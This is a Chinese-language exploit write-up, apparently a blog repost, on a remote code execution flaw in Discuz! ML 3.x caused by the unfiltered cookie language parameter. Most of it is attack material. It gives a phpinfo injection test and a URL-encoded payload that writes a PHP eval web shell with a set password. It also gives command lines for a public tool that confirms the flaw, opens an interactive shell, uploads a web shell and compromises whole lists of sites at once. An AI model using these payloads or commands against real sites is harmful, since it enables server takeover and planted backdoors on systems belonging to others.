discuz!ml-3.x版本getshell

影响范围:

discuz! ml v3.x全版本。

产生原因

漏洞原因:Discuz!ML 系统对cookie中的l接收的language参数内容未过滤,导致字符串拼接,从而执行php代码。

利用exp

1.cookie字段中会出现xxxx_xxxx_language字段,根本原因就是这个字段存在注入,导致的RCE

2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'

3.getshell 的payload:

'.+file_put_contents('shell.php',urldecode('')).'
进行url编码:%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27

即可在路径下生成shell.php,连接密码为1

利用工具

工具名叫:dz-ml-rce.py ,是用py2写的,可以在github上下载。

断是否存在漏洞:

python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"

获取交互式shell:

python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell

上传一句话木马getshell:

python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell

连接密码为“x”

批量检测:

python dz-ml-rce.py -f urls.txt

批量上马getshell:

python dz-ml-rce.py -f urls.txt --getshell

本地复现:

搭建好一个discuz!ml 版本的环境,我搭的是3.3版本的,下载源码后直接一键式建站,建完后访问主页:http://127.0.0.1/discuz!ml3.3/upload/forum.php

然后用工具测试:

 发现存在此漏洞,那么直接获取个shell回来:

此工具针对此漏洞还蛮好用的。 

原文地址:https://www.cnblogs.com/-chenxs/p/12023382.html